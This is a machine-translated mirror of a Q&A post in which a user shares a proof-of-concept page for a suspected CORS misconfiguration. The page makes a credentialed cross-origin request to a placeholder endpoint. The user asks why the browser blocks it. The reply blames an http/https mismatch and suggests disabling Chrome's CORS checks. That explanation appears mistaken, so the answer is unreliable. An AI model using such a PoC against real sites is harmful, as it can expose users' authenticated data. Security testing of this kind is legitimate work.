繁体   English   中英

当 Access-Control-Allow-Origin:* 仍然反映在响应中时,跨源请求被阻止

[英]Cross-Origin request blocked while Access-Control-Allow-Origin:* still reflect in the response

我发现一个端点似乎容易受到 CORS 配置错误的影响,我尝试了这个 POC:

<html>
<body>
<div id="poc">
<button type="button" onclick="cors()"></button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("poc").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://somedomain.com/vulnerable/endpoint", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>

这些标头反映在响应中:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

如果用户未经身份验证,则默认返回 401

为什么我的请求被阻止?

如果您从本地主机发送此信息,则客户端正在运行 http。但它正在请求 https 服务器。这就是它显示错误的原因。但是,您可以在 chrome 中禁用 CORS 检查。 https://alfilatov.com/posts/run-chrome-without-cors/

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM